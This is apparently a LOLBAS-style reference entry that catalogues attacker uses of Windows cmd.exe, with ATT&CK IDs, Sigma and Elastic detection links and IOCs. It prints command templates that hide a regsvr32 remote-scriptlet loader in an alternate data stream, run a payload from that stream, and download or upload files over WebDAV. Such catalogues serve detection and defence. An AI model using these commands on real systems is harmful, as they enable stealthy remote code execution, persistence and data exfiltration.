Cmd.exe

type: OSBinaries

The command-line interpreter in Windows

Full path

C:\Windows\System32\cmd.exe
C:\Windows\SysWOW64\cmd.exe

Commands

ADSUser T1564.004
Can be used to evade defensive countermeasures or to hide as a persistence mechanism
```
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat
```
Add content to an Alternate Data Stream (ADS).
os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ADSUser T1059.003
Can be used to evade defensive countermeasures or to hide as a persistence mechanism
```
cmd.exe - < {PATH}:payload.bat
```
Execute payload.bat stored in an Alternate Data Stream (ADS).
os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
DownloadUser T1105
Download/copy a file from a WebDAV server
```
type {PATH_SMB} > {PATH_ABSOLUTE}
```
Downloads a specified file from a WebDAV server to the target file.
os: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
UploadUser T1048.003
Upload a file to a WebDAV server
```
type {PATH_ABSOLUTE} > {PATH_SMB}
```
Uploads a specified file to a WebDAV server.
os: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Detection

Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml
Elastic https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_ads_file_creation.toml
Elastic https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml
IOCcmd.exe executing files from alternate data streams.
IOCcmd.exe creating/modifying file contents in an alternate data stream.

Resources

acknowledgement: r0lan @yeyint_mth, Mr.0range @mr_0rng